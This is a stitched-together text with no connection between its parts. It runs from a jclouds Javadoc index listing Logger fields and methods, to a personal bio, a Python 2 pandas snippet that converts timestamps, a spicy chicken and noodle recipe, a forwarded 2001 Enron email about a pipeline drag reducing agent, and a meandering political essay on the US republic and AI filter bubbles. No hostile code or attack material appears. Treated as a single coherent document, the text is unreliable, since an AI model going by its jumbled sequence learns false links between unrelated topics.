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| Uses of Logger in org.jclouds.atmos.blobstore.strategy |
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| Fields in org.jclouds.atmos.blobstore.strategy declared as Logger | |
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protected Logger |
FindMD5InUserMetadata.logger
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| Uses of Logger in org.jclouds.atmos.handlers |
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| Fields in org.jclouds.atmos.handlers declared as Logger | |
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protected Logger |
ParseAtmosErrorFromXmlContent.logger
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protected Logger |
AtmosClientErrorRetryHandler.logger
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| Uses of Logger in org.jclouds.aws.ec2.compute.strategy |
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| Fields in org.jclouds.aws.ec2.compute.strategy declared as Logger | |
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protected Logger |
CreateKeyPairPlacementAndSecurityGroupsAsNeededAndReturnRunOptions.logger
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protected Logger |
AWSEC2CreateNodesInGroupThenAddToSet.logger
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protected Logger |
AWSEC2ReviseParsedImage.logger
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| Uses of Logger in org.jclouds.aws.ec2.compute.suppliers |
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| Fields in org.jclouds.aws.ec2.compute.suppliers declared as Logger | |
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protected Logger |
AWSEC2ImageSupplier.logger
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protected Logger |
CallForImages.logger
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| Uses of Logger in org.jclouds.aws.ec2.functions |
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| Fields in org.jclouds.aws.ec2.functions declared as Logger | |
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protected Logger |
ImportOrReturnExistingKeypair.logger
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protected Logger |
CreatePlacementGroupIfNeeded.logger
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| Uses of Logger in org.jclouds.aws.ec2.predicates |
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| Fields in org.jclouds.aws.ec2.predicates declared as Logger | |
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protected Logger |
PlacementGroupDeleted.logger
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protected Logger |
SpotInstanceRequestActive.logger
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protected Logger |
PlacementGroupAvailable.logger
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| Uses of Logger in org.jclouds.aws.ec2.xml |
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| Fields in org.jclouds.aws.ec2.xml declared as Logger | |
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protected Logger |
LaunchSpecificationHandler.logger
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protected Logger |
BaseAWSReservationHandler.logger
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| Uses of Logger in org.jclouds.aws.handlers |
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| Fields in org.jclouds.aws.handlers declared as Logger | |
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protected Logger |
ParseAWSErrorFromXmlContent.logger
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protected Logger |
AWSClientErrorRetryHandler.logger
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| Uses of Logger in org.jclouds.aws.s3.blobstore.strategy.internal |
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| Fields in org.jclouds.aws.s3.blobstore.strategy.internal declared as Logger | |
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protected Logger |
MultipartUploadSlicingAlgorithm.logger
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protected Logger |
SequentialMultipartUploadStrategy.logger
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protected Logger |
ParallelMultipartUploadStrategy.logger
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| Uses of Logger in org.jclouds.aws.util |
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| Fields in org.jclouds.aws.util declared as Logger | |
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protected Logger |
AWSUtils.logger
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| Uses of Logger in org.jclouds.azure.storage.handlers |
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| Fields in org.jclouds.azure.storage.handlers declared as Logger | |
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protected Logger |
AzureStorageClientErrorRetryHandler.logger
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protected Logger |
ParseAzureStorageErrorFromXmlContent.logger
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| Uses of Logger in org.jclouds.blobstore.strategy.internal |
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| Fields in org.jclouds.blobstore.strategy.internal declared as Logger | |
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protected Logger |
DeleteAllKeysInList.logger
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protected Logger |
PutBlobsStrategyImpl.logger
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protected Logger |
FetchBlobMetadata.logger
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protected Logger |
MarkersDeleteDirectoryStrategy.logger
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protected Logger |
GetAllBlobsInListAndRetryOnFailure.logger
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| Uses of Logger in org.jclouds.byon.functions |
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| Fields in org.jclouds.byon.functions declared as Logger | |
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protected Logger |
NodeToNodeMetadata.logger
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| Uses of Logger in org.jclouds.byon.suppliers |
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| Fields in org.jclouds.byon.suppliers declared as Logger | |
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protected Logger |
NodesParsedFromSupplier.logger
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protected Logger |
SupplyFromProviderURIOrNodesProperty.logger
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| Uses of Logger in org.jclouds.cloudloadbalancers.functions |
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| Fields in org.jclouds.cloudloadbalancers.functions declared as Logger | |
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protected Logger |
ConvertLB.logger
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| Uses of Logger in org.jclouds.cloudloadbalancers.handlers |
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| Fields in org.jclouds.cloudloadbalancers.handlers declared as Logger | |
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protected Logger |
ParseCloudLoadBalancersErrorFromHttpResponse.logger
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| Uses of Logger in org.jclouds.cloudloadbalancers.loadbalancer.strategy |
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| Fields in org.jclouds.cloudloadbalancers.loadbalancer.strategy declared as Logger | |
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protected Logger |
CloudLoadBalancersDestroyLoadBalancerStrategy.logger
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protected Logger |
CloudLoadBalancersLoadBalanceNodesStrategy.logger
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protected Logger |
CloudLoadBalancersListLoadBalancersStrategy.logger
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| Uses of Logger in org.jclouds.cloudloadbalancers.predicates |
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| Fields in org.jclouds.cloudloadbalancers.predicates declared as Logger | |
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protected Logger |
LoadBalancerDeleted.logger
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protected Logger |
LoadBalancerActive.logger
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| Uses of Logger in org.jclouds.cloudservers.compute.functions |
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| Fields in org.jclouds.cloudservers.compute.functions declared as Logger | |
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protected Logger |
CloudServersImageToOperatingSystem.logger
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protected Logger |
ServerToNodeMetadata.logger
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| Uses of Logger in org.jclouds.cloudservers.handlers |
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| Fields in org.jclouds.cloudservers.handlers declared as Logger | |
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protected Logger |
ParseCloudServersErrorFromHttpResponse.logger
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| Uses of Logger in org.jclouds.cloudservers.predicates |
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| Fields in org.jclouds.cloudservers.predicates declared as Logger | |
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protected Logger |
ServerActive.logger
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protected Logger |
ServerDeleted.logger
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| Uses of Logger in org.jclouds.cloudsigma.compute |
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| Fields in org.jclouds.cloudsigma.compute declared as Logger | |
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protected Logger |
CloudSigmaComputeServiceAdapter.logger
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| Uses of Logger in org.jclouds.cloudsigma.compute.functions |
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| Fields in org.jclouds.cloudsigma.compute.functions declared as Logger | |
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protected Logger |
ServerInfoToNodeMetadata.DeviceToVolume.logger
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protected Logger |
ServerInfoToNodeMetadata.GetImageIdFromServer.logger
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| Uses of Logger in org.jclouds.cloudsigma.functions |
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| Fields in org.jclouds.cloudsigma.functions declared as Logger | |
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protected Logger |
MapToStaticIPInfo.logger
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protected Logger |
MapToProfileInfo.logger
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protected Logger |
MapToVLANInfo.logger
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protected Logger |
MapToDriveInfo.logger
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| Uses of Logger in org.jclouds.cloudsigma.handlers |
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| Fields in org.jclouds.cloudsigma.handlers declared as Logger | |
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protected Logger |
CloudSigmaErrorHandler.logger
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| Uses of Logger in org.jclouds.cloudsigma.predicates |
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| Fields in org.jclouds.cloudsigma.predicates declared as Logger | |
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protected Logger |
DriveClaimed.logger
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| Uses of Logger in org.jclouds.cloudstack.compute.functions |
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| Fields in org.jclouds.cloudstack.compute.functions declared as Logger | |
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protected Logger |
TemplateToOperatingSystem.logger
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| Uses of Logger in org.jclouds.cloudstack.compute.strategy |
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| Fields in org.jclouds.cloudstack.compute.strategy declared as Logger | |
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protected Logger |
CloudStackComputeServiceAdapter.logger
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| Uses of Logger in org.jclouds.cloudstack.functions |
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| Fields in org.jclouds.cloudstack.functions declared as Logger | |
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protected Logger |
ParseTypedAsyncJob.logger
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protected Logger |
ReuseOrAssociateNewPublicIPAddress.logger
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protected Logger |
CreatePortForwardingRulesForIP.logger
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protected Logger |
StaticNATVirtualMachineInNetwork.logger
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| Uses of Logger in org.jclouds.cloudstack.handlers |
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| Fields in org.jclouds.cloudstack.handlers declared as Logger | |
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protected Logger |
InvalidateSessionAndRetryOn401AndLogoutOnClose.logger
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protected Logger |
CloudStackErrorHandler.logger
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| Uses of Logger in org.jclouds.cloudstack.predicates |
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| Fields in org.jclouds.cloudstack.predicates declared as Logger | |
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protected Logger |
VirtualMachineRunning.logger
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protected Logger |
LoadBalancerRuleActive.logger
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protected Logger |
VirtualMachineDestroyed.logger
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protected Logger |
VirtualMachineExpunged.logger
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protected Logger |
JobComplete.logger
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| Uses of Logger in org.jclouds.cloudstack.strategy |
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| Fields in org.jclouds.cloudstack.strategy declared as Logger | |
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protected Logger |
BlockUntilJobCompletesAndReturnResult.logger
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| Uses of Logger in org.jclouds.cloudstack.suppliers |
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| Fields in org.jclouds.cloudstack.suppliers declared as Logger | |
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protected Logger |
GetCurrentUser.logger
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| Uses of Logger in org.jclouds.collect |
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| Fields in org.jclouds.collect declared as Logger | |
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protected Logger |
FindResourceInSet.logger
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| Uses of Logger in org.jclouds.compute.callables |
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| Fields in org.jclouds.compute.callables declared as Logger | |
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protected Logger |
SudoAwareInitManager.computeLogger
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protected Logger |
RunScriptOnNodeUsingSsh.logger
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protected Logger |
SudoAwareInitManager.logger
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protected Logger |
BlockUntilInitScriptStatusIsZeroThenReturnOutput.logger
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| Uses of Logger in org.jclouds.compute.domain.internal |
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| Fields in org.jclouds.compute.domain.internal declared as Logger | |
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protected Logger |
TemplateBuilderImpl.logger
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| Uses of Logger in org.jclouds.compute.internal |
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| Fields in org.jclouds.compute.internal declared as Logger | |
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protected Logger |
BaseComputeService.logger
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| Uses of Logger in org.jclouds.compute.predicates |
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| Fields in org.jclouds.compute.predicates declared as Logger | |
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protected Logger |
NodeTerminated.logger
Deprecated. |
protected Logger |
RefreshAndDoubleCheckOnFailUnlessStateInvalid.logger
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protected Logger |
NodePresentAndInIntendedState.logger
Deprecated. |
protected Logger |
ScriptStatusReturnsZero.logger
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protected Logger |
TrueIfNullOrTerminatedRefreshAndDoubleCheckOnFalse.logger
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| Constructors in org.jclouds.compute.predicates with parameters of type Logger | |
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RetryIfSocketNotYetOpen(SocketOpen socketTester,
Logger logger)
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RetryIfSocketNotYetOpen(SocketOpen socketTester,
Logger logger,
long timeoutValue,
TimeUnit timeoutUnits)
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| Uses of Logger in org.jclouds.compute.strategy |
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| Fields in org.jclouds.compute.strategy declared as Logger | |
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protected Logger |
RunScriptOnNodeAndAddToGoodMapOrPutExceptionIntoBadMap.logger
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protected Logger |
CustomizeNodeAndAddToGoodMapOrPutExceptionIntoBadMap.logger
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| Uses of Logger in org.jclouds.compute.strategy.impl |
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| Fields in org.jclouds.compute.strategy.impl declared as Logger | |
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protected Logger |
AdaptingComputeServiceStrategies.logger
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protected Logger |
CreateNodesWithGroupEncodedIntoNameThenAddToSet.logger
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| Uses of Logger in org.jclouds.concurrent |
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| Methods in org.jclouds.concurrent with parameters of type Logger | ||
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static
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FutureIterables.awaitCompletion(Map<T,? extends Future<?>> responses,
ExecutorService exec,
Long maxTime,
Logger logger,
String logPrefix)
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static
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FutureIterables.transformParallel(Iterable<F> fromIterable,
com.google.common.base.Function<? super F,Future<T>> function,
ExecutorService exec,
Long maxTime,
Logger logger,
String logPrefix)
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static
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FutureIterables.transformParallel(Iterable<F> fromIterable,
com.google.common.base.Function<? super F,Future<T>> function,
ExecutorService exec,
Long maxTime,
Logger logger,
String logPrefix,
BackoffLimitedRetryHandler retryHandler,
int maxRetries)
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| Uses of Logger in org.jclouds.deltacloud.compute.functions |
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| Fields in org.jclouds.deltacloud.compute.functions declared as Logger | |
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protected Logger |
InstanceToNodeMetadata.logger
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protected Logger |
DeltacloudImageToOperatingSystem.logger
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| Uses of Logger in org.jclouds.deltacloud.compute.strategy |
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| Fields in org.jclouds.deltacloud.compute.strategy declared as Logger | |
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protected Logger |
DeltacloudComputeServiceAdapter.logger
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| Uses of Logger in org.jclouds.deltacloud.handlers |
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| Fields in org.jclouds.deltacloud.handlers declared as Logger | |
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protected Logger |
DeltacloudErrorHandler.logger
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| Uses of Logger in org.jclouds.deltacloud.predicates |
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| Fields in org.jclouds.deltacloud.predicates declared as Logger | |
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protected Logger |
InstanceState.logger
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| Uses of Logger in org.jclouds.deltacloud.xml |
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| Fields in org.jclouds.deltacloud.xml declared as Logger | |
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protected Logger |
InstanceHandler.logger
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protected Logger |
InstanceStatesHandler.logger
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| Uses of Logger in org.jclouds.ec2.compute.functions |
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| Fields in org.jclouds.ec2.compute.functions declared as Logger | |
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protected Logger |
RunningInstanceToNodeMetadata.logger
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protected Logger |
EC2ImageParser.logger
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protected Logger |
CreateUniqueKeyPair.logger
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protected Logger |
CreateSecurityGroupIfNeeded.logger
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protected Logger |
RegionAndIdToImage.logger
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| Uses of Logger in org.jclouds.ec2.compute.predicates |
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| Fields in org.jclouds.ec2.compute.predicates declared as Logger | |
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protected Logger |
InstancePresent.logger
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protected Logger |
SecurityGroupPresent.logger
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| Uses of Logger in org.jclouds.ec2.compute.strategy |
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| Fields in org.jclouds.ec2.compute.strategy declared as Logger | |
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protected Logger |
EC2CreateNodesInGroupThenAddToSet.logger
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protected Logger |
EC2ListNodesStrategy.logger
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protected Logger |
EC2DestroyNodeStrategy.logger
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protected Logger |
DescribeImagesParallel.logger
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| Uses of Logger in org.jclouds.ec2.compute.suppliers |
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| Fields in org.jclouds.ec2.compute.suppliers declared as Logger | |
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protected Logger |
EC2ImageSupplier.logger
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| Uses of Logger in org.jclouds.ec2.predicates |
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| Fields in org.jclouds.ec2.predicates declared as Logger | |
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protected Logger |
SnapshotCompleted.logger
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protected Logger |
InstanceStateStopped.logger
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protected Logger |
InstanceHasIpAddress.logger
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protected Logger |
VolumeAvailable.logger
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protected Logger |
InstanceStateRunning.logger
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protected Logger |
VolumeAttached.logger
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protected Logger |
InstanceStateTerminated.logger
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protected Logger |
VolumeDetached.logger
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| Uses of Logger in org.jclouds.ec2.suppliers |
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| Fields in org.jclouds.ec2.suppliers declared as Logger | |
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protected Logger |
DescribeAvailabilityZonesInRegion.logger
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| Uses of Logger in org.jclouds.ec2.xml |
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| Fields in org.jclouds.ec2.xml declared as Logger | |
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protected Logger |
BaseReservationHandler.logger
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protected Logger |
AttachmentHandler.logger
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protected Logger |
DescribeAddressesResponseHandler.logger
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protected Logger |
DescribeAvailabilityZonesResponseHandler.logger
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protected Logger |
DescribeImagesResponseHandler.logger
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protected Logger |
DescribeRegionsResponseHandler.logger
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protected Logger |
AllocateAddressResponseHandler.logger
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protected Logger |
CreateVolumeResponseHandler.logger
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| Uses of Logger in org.jclouds.elasticstack.compute |
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| Fields in org.jclouds.elasticstack.compute declared as Logger | |
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protected Logger |
ElasticStackComputeServiceAdapter.logger
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| Uses of Logger in org.jclouds.elasticstack.compute.functions |
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| Fields in org.jclouds.elasticstack.compute.functions declared as Logger | |
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protected Logger |
ServerInfoToNodeMetadata.DeviceToVolume.logger
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protected Logger |
ServerInfoToNodeMetadata.GetImageIdFromServer.logger
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| Uses of Logger in org.jclouds.elasticstack.functions |
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| Fields in org.jclouds.elasticstack.functions declared as Logger | |
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protected Logger |
ServerToMap.logger
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protected Logger |
MapToDriveInfo.logger
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| Uses of Logger in org.jclouds.elasticstack.handlers |
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| Fields in org.jclouds.elasticstack.handlers declared as Logger | |
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protected Logger |
ElasticStackErrorHandler.logger
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| Uses of Logger in org.jclouds.elasticstack.predicates |
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| Fields in org.jclouds.elasticstack.predicates declared as Logger | |
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protected Logger |
DriveClaimed.logger
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| Uses of Logger in org.jclouds.epc.strategy |
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| Fields in org.jclouds.epc.strategy declared as Logger | |
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protected Logger |
EucalyptusPartnerCloudReviseParsedImage.logger
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| Uses of Logger in org.jclouds.filesystem |
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| Fields in org.jclouds.filesystem declared as Logger | |
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protected Logger |
FilesystemAsyncBlobStore.logger
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| Uses of Logger in org.jclouds.filesystem.strategy.internal |
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| Fields in org.jclouds.filesystem.strategy.internal declared as Logger | |
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protected Logger |
FilesystemStorageStrategyImpl.logger
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| Uses of Logger in org.jclouds.gae |
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| Fields in org.jclouds.gae declared as Logger | |
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protected Logger |
AsyncGaeHttpCommandExecutorService.headerLog
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protected Logger |
AsyncGaeHttpCommandExecutorService.logger
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| Uses of Logger in org.jclouds.glesys.compute |
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| Fields in org.jclouds.glesys.compute declared as Logger | |
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protected Logger |
GleSYSComputeServiceAdapter.logger
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| Uses of Logger in org.jclouds.glesys.compute.functions |
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| Fields in org.jclouds.glesys.compute.functions declared as Logger | |
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protected Logger |
ServerDetailsToNodeMetadata.logger
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| Uses of Logger in org.jclouds.gogrid.compute.functions |
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| Fields in org.jclouds.gogrid.compute.functions declared as Logger | |
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protected Logger |
ServerImageToImage.logger
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protected Logger |
ServerToNodeMetadata.logger
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| Uses of Logger in org.jclouds.gogrid.compute.strategy |
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| Fields in org.jclouds.gogrid.compute.strategy declared as Logger | |
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protected Logger |
GoGridComputeServiceAdapter.logger
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| Uses of Logger in org.jclouds.gogrid.predicates |
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| Fields in org.jclouds.gogrid.predicates declared as Logger | |
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protected Logger |
LoadBalancerLatestJobCompleted.logger
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protected Logger |
ServerLatestJobCompleted.logger
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| Uses of Logger in org.jclouds.hpcloud.objectstorage.lvs.blobstore.config |
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| Fields in org.jclouds.hpcloud.objectstorage.lvs.blobstore.config declared as Logger | |
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protected Logger |
HPCloudObjectStorageLasVegasBlobStoreContextModule.GetCDNMetadata.logger
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| Uses of Logger in org.jclouds.http |
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| Fields in org.jclouds.http declared as Logger | |
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protected Logger |
TransformingHttpCommandImpl.logger
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| Methods in org.jclouds.http with parameters of type Logger | |
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void |
HttpUtils.logRequest(Logger logger,
HttpRequest request,
String prefix)
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void |
HttpUtils.logResponse(Logger logger,
HttpResponse response,
String prefix)
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| Uses of Logger in org.jclouds.http.functions |
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| Fields in org.jclouds.http.functions declared as Logger | |
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protected Logger |
ParseJson.logger
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protected Logger |
ReleasePayloadAndReturn.logger
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protected Logger |
ParseXMLWithJAXB.logger
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protected Logger |
ParseContentMD5FromHeaders.logger
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protected Logger |
ParseFirstJsonValueNamed.logger
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| Uses of Logger in org.jclouds.http.handlers |
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| Fields in org.jclouds.http.handlers declared as Logger | |
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protected Logger |
BackoffLimitedRetryHandler.logger
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protected Logger |
RedirectionRetryHandler.logger
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| Uses of Logger in org.jclouds.http.internal |
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| Fields in org.jclouds.http.internal declared as Logger | |
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protected Logger |
BaseHttpCommandExecutorService.headerLog
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protected Logger |
JavaUrlHttpCommandExecutorService.logger
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protected Logger |
BaseHttpCommandExecutorService.logger
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| Methods in org.jclouds.http.internal that return Logger | |
|---|---|
Logger |
HttpWire.getWireLog()
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Logger |
SignatureWire.getWireLog()
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| Uses of Logger in org.jclouds.io |
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| Fields in org.jclouds.io declared as Logger | |
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protected Logger |
CopyInputStreamIntoSupplier.logger
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| Uses of Logger in org.jclouds.lifecycle |
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| Fields in org.jclouds.lifecycle declared as Logger | |
|---|---|
protected Logger |
BaseLifeCycle.logger
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| Uses of Logger in org.jclouds.loadbalancer.internal |
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| Fields in org.jclouds.loadbalancer.internal declared as Logger | |
|---|---|
protected Logger |
BaseLoadBalancerService.logger
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| Uses of Logger in org.jclouds.location.suppliers.all |
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| Fields in org.jclouds.location.suppliers.all declared as Logger | |
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protected Logger |
ZoneToRegionToProviderOrJustProvider.logger
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| Uses of Logger in org.jclouds.location.suppliers.fromconfig |
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| Fields in org.jclouds.location.suppliers.fromconfig declared as Logger | |
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protected Logger |
LocationIdToURIFromConfigurationOrDefaultToProvider.logger
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protected Logger |
RegionIdToZoneIdsFromConfiguration.logger
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protected Logger |
SplitConfigurationKey.logger
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| Uses of Logger in org.jclouds.logging |
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| Classes in org.jclouds.logging that implement Logger | |
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class |
BaseLogger
Base implementation that constructs formatted log strings. |
class |
ConsoleLogger
Logger that logs to the console Useful to get baseline performance unaffected by logging. |
class |
NullLogger
Logger that doesn't do anything. |
| Fields in org.jclouds.logging declared as Logger | |
|---|---|
static Logger |
Logger.CONSOLE
Assign to member to avoid NPE when no logging module is configured. |
static Logger |
Logger.NULL
Assign to member to avoid NPE when no logging module is configured. |
| Methods in org.jclouds.logging that return Logger | |
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Logger |
Logger.LoggerFactory.getLogger(String category)
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| Uses of Logger in org.jclouds.logging.internal |
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| Fields in org.jclouds.logging.internal declared as Logger | |
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protected Logger |
Wire.logger
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| Methods in org.jclouds.logging.internal that return Logger | |
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protected abstract Logger |
Wire.getWireLog()
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| Uses of Logger in org.jclouds.logging.jdk |
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| Classes in org.jclouds.logging.jdk that implement Logger | |
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class |
JDKLogger
Logger implementation of Logger . |
| Methods in org.jclouds.logging.jdk that return Logger | |
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Logger |
JDKLogger.JDKLoggerFactory.getLogger(String category)
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| Uses of Logger in org.jclouds.logging.log4j |
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| Classes in org.jclouds.logging.log4j that implement Logger | |
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class |
Log4JLogger
Logger implementation of Logger . |
| Methods in org.jclouds.logging.log4j that return Logger | |
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Logger |
Log4JLogger.Log4JLoggerFactory.getLogger(String category)
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| Uses of Logger in org.jclouds.logging.slf4j |
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| Classes in org.jclouds.logging.slf4j that implement Logger | |
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class |
SLF4JLogger
org.apache.slf4j.Logger implementation of Logger . |
| Methods in org.jclouds.logging.slf4j that return Logger | |
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Logger |
SLF4JLogger.SLF4JLoggerFactory.getLogger(String category)
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| Uses of Logger in org.jclouds.openstack.functions |
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| Fields in org.jclouds.openstack.functions declared as Logger | |
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protected Logger |
ParseAuthenticationResponseFromHeaders.logger
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| Uses of Logger in org.jclouds.openstack.handlers |
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| Fields in org.jclouds.openstack.handlers declared as Logger | |
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protected Logger |
RetryOnRenew.logger
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| Uses of Logger in org.jclouds.openstack.keystone.v1_1.handlers |
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| Fields in org.jclouds.openstack.keystone.v1_1.handlers declared as Logger | |
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protected Logger |
RetryOnRenew.logger
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Hi, My name is Daniel and welcome to my page.
I was born in Portland, Oregon but raised near the Flying M Ranch in rural Yamhill County. The Flying M Ranch was known for their rustic lodging, horseback trails, and their airstrip where pilots would fly in from all around for Sunday brunch.
I am a proud father of a sweet little girl named Cassandra who may have siblings one day. I come from a relatively large family with having 6 siblings and a decent handful of nieces and nephews. My family is pretty evenly spread throughout Washington and Oregon.
I have worked in the medical field most of my life starting off as a nursing assistant, then a patient services coordinator, then medical billing specialist, and most recently as a medical coding specialist.
I am currently attending Code Fellows at the Seattle campus.


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There are many reasons why one may wish to modify the existing dataset. A lot of times you might want to do it just to make it easier to read, but you also might want to automatically replace data. If you are going to run a lot of tests on date, say with a unix time stamp, it might be wise to just convert it once, re-save, and not do it again.
While you are at it, you can also just get rid of the unix time stamps in the file. After that, we also don't need id at all either, so we can kill that too.
import pandas as pd from pandas import DataFrame import matplotlib.pyplot as plt from matplotlib import style import numpy as np style.use('ggplot') def modifyDataSet(): df = pd.read_csv('X:/sentiment/stocks_sentdex.csv') df['time'] = pd.to_datetime(df['time'],unit='s') df = df.set_index('time') #print df.head() del df['id'] print df.head() df.to_csv('X:/stocks_sentdex_dates_full.csv')


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Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 2 or 4 sharing
How hot do you like it? This version of the take-out classic is fiery but utterly delicious.
For the chicken, mix all the sauce ingredients in a bowl and set aside.
Mix the potato flour with a pinch of sea salt and white pepper in a bowl. Add the chicken and toss to coat well.
Heat a wok over a high heat until it starts to smoke, then add the rapeseed oil. Add the garlic and dried chillies and stir-fry for a few seconds. Add the onion and red pepper and stir-fry for 15 seconds, or until crisp on the edges.
Push the ingredients to one side of the wok. Add the chicken and let it brown for 10 seconds, then cook, tossing, for 30 seconds. Before it has turned completely opaque, season with rice wine. Continue to cook for 1 minute, or until cooked through.
Pour in the sauce and cook for 1 minute, or until it has reduced by half and is slightly sticky. Toss in the spring onions and peanuts, then transfer to a serving plate while you cook the noodles.
For the noodles, cook the noodles according to the packet instructions, then drain and dress in 1 teaspoon sesame oil (you can do this in advance to save time). Next heat a wok over a high heat and add the rapeseed oil. Add the garlic chives and cook for 30 seconds, then add the Chinese mushrooms and cook for 10 seconds.
Add the rice wine and cook until evaporated. Add the prepared noodles and toss well for 30 seconds. Season with the mushroom sauce, sugar and light soy sauce. Gently toss and fold in the beansprouts. Season with the remaining teaspoon of sesame oil, garnish with the spring onion and serve immediately alongside the chicken.


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I will send a note by end of day, Thursday confirming the time and giving the dialing information.
Thanks,
John
---------------------- Forwarded by John Sturn/ET&S/Enron on 08/29/2001 10:35 AM ---------------------------
From: John Sturn on 08/28/2001 09:19 AM
To: Rich Jolly/ET&S/Enron@ENRON, David Roensch/ET&S/Enron@ENRON, Kimberly Watson/ET&S/Enron, Earl Chanley/ET&S/Enron, Darrell Schoolcraft/ET&S/Enron, Tracy Geaccone/GPGFIN/Enron<EMAIL_ADDRESS><EMAIL_ADDRESS>Jerry Graves/ET&S/Enron, Ben Asante/ET&S/Enron, Gary Choquette/ET&S/Enron, Kim Kouri/ET&S/Enron
cc: Randy Rice/OTS/Enron, Steven Harris/ET&S/Enron, Norm Spalding/ENRON_DEVELOPMENT, Steven January/ET&S/Enron, John R Keller/OTS/Enron, Dennis Alters/FGT/Enron
Subject: La Plata to Bloomfield Drag Reducing Agent Application Proposal
I have been asked to pursue an effort to apply a drag reducing agent (DRA) to the La Plata to Bloomfield pipeline with the intent of increasing the San Juan lateral capacity. I would appreciate it if you or your representative could participate in a conference call to initate this effort.
The desire is to have this done in the September - November time frame as December is a tariff month. A launcher and receiver as well as other facilities to make the line piggable would have to be installed, cleaning pig runs completed and the DRA applied.
Please let me know by noon Wednesday if you cannot make either of these times:
I will send a note by end of day Wednesday confirming the time and giving the dialing information.
Thanks for your help on this.
John Sturn
Optimization Team
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Why Is America’s Republic Faltering?
Is it Constitutional, Institutional, or Just The Russians?
What Else Hasn’t Been Said About Locke?
Does Our Republic Work Today?
And Whose Leviathan Do I See In The Window?
These Tyrants Are Closer Than You Think….
Socioinformational Whipsaws
How ‘Bout That AI?
How ‘Bout a Tall, Warm Glass Of Nihilism?

Is it Constitutional, Institutional, or Just The Russians?
Often when considering liberty and independence, the notion arises: along with the freedom to choose comes ownership over consequences of your financial or social actions. Herein, if consequences of individual action are the microcosm, then consider the macrocosm as a parallel notion, where it is America’s collective responsibility to be informed citizens, who though acting freely, must endure the consequences of their actions.
What seems to be the problem, doc?
What Else Hasn’t Been Said About Locke?
We’re a democracy, so the people can vote for whatever leaders they want, who will give them whatever government-funded programs they want. It’s America, so the people decide what they want the government to do, but that doesn’t mean the people will be spared the economic consequences of their votes. In a republic, the people’s leaders decide the course of policy, though according to public opinion, the US Government seems to dissatisfy the people in most measures … perhaps its a tough crowd. What would change people’s minds, with regard to Congress, the Executive Branch, and the institutions enacted under the authority of both?
Does Our Republic Work Today?
No. If the federal government can’t follow its own laws, procedures and constitutional obligations, how can we expect it to work? Our government was designed to be resilient to subversion and corrosion. The founders were well aware of Greek and Roman success and failures with democracy. Further, they were all too familiar with the failure of a government thousands of miles away who couldn’t be bothered to listen to the people. It used the people and the 18th century English government, fallible like every other man-made institution, was subverted & debased to be used itself. Falling into the traps of every empire, the British Government furthered the ends of few and took from many. Regardless of our founder’s background or wisdom in framing the Constitution, a set of rules for government resilient against tyrrany provides nothing if the programme is not followed with due cause.
Why is our republic failing today? Why isn’t the constitution as resilient against tyranny and our government unchanged by finance? It is for the same reason that the tactics of Ghandi and Martin Luther King Jr would fail in the 21st century: as the tactics of Civil Disobedience do not function if your sacrifices are muted before they are felt by others who magnify the capacity of those sacrifices to transform social attitudes — neither do the functions of a republic align to the will of the people when the nature of social interaction, communication and awareness begins to distorted as severely as it is today.
And Whose Leviathan Do I See In The Window?
What do the people want? they want what they hear from mass communication, more or less, directly or one step removed. It is too easy for those with social/financial influence to control mass media and distort social media to engineer discourse and subvert even the most well-intentioned politicians. These would-be tyrants aren’t Kings, Roman demagogues or thirty conquering Spartans …
Leviathan … HUNGRY!
These Tyrants Are Closer Than You Think….
While most politically engaged people would be quick to name their imagined usurpers, most of us have no idea who these “tyrants” are, but the answer is closer than you think. Whether external or domestic, the forces subverting our system may only be lucky to do so intentionally. Instead these are shadows of ourselves, aspects of the collective unconsciousnesses of groups, whose communication once voiced, feeds back into itself, driving feedback loops: some are purely anthropogenic, feeding off ourselves; others are driven by artificial intelligence and social media’s vulnerabilities to feedback loops. Other aspects that unconsciously compel group behaviors, then act on smaller, more powerful groups to exacerbate the effects of “lower-level” feedback loops. Politician’s have incentives to capitalize on the momentum of novel issues, to facilitate digital engagement to build support, to identify issues whose winds are changing. Corporations have similar interests and similar signals to act on.
Socioinformational Whipsaws
When these signals arrive almost as quickly as their portended trends change, circumstances emerge which are similar to the a financial “whipsaw” named because of unprecedented reversals in dynamics of price/etc. When this happens in sociophysical systems, especially those which are strongly determined by socioinformational dynamics, they’re even more perplexing than their financial counterpart. Even if we have the data and tools to analyze such “whipsaw” events in social systems, then we can only attempt to do so in retrospect.
For more information on “Whipsaw” events in finance, see this article on Investopedia
How ‘Bout That AI?
in our newly hyperconnected society, if a republic can’t function in the midst of crescendoing dysregulation of societies normative mechanics – the mechanics of social interactions (IRL/digital/etc) that compel norms to be questioned, to strengthen, to congeal, to be acknowledged, or to emerge as conceptualized social magnets of normifying behavior – then how does society even discuss these problems with our government? We can’t conduct discourse from within convoluted filter-bubbles driven by AI operating enigmatically as black box to determine who sees who, who saw what, and how trends to proactively drive each of the former will play out: these AI’s directs the attention of millions of falling pupils and flicking thumbs. AI decides who gets a social media soapbox, who is nearly muted and whose posts are ironically moot, with nearly no views at all. We indexed databases and even the internet, and while our inability to efficiently index AI entities is critical to understanding the complexity of causality in the digital age, we still fall short of understanding the structure of interactions between such entities, which is far more complex.
Nihilism (ni·hil·ism | \ˈnī-(h)ə-ˌli-zəm,) nothing is Sacred
How ‘Bout a Tall, Warm Glass Of Nihilism?
This all adds further layers of complexity: if humanity is encumbered by accelerating ablation of our perception of causality, then how are we supposed to address how existing forms of governance fail to serve society when the human process of reasoning about causality itself has expanded intractibly. Whether the means of action are digital or anthropogenic, our ability to leverage abductive or inductive reasoning to probe social circumstances or socially distributed beliefs because similarly confounded. Unless people adopt or rediscover normative mechanics, then people become unable to reason about life, society and interactions. If causality can’t be reasoned with, the benefits of virtues and of the social institutions which encourage virtuous behavior to be normative, in several senses, are moot because people can’t connect the dots between their actions their values compel them to take and the consequences which compel the backpropagation of values that encourages personal development of the individual’s values systems in the direction that person believes will cause their values to be rewarded further. Instead, the individual is unable to isolate the latent variables of social action as they relate to perceived social consequence, so any positive or negative reinforcement of values are baseless and disproportionate at best.
Locke On Causality
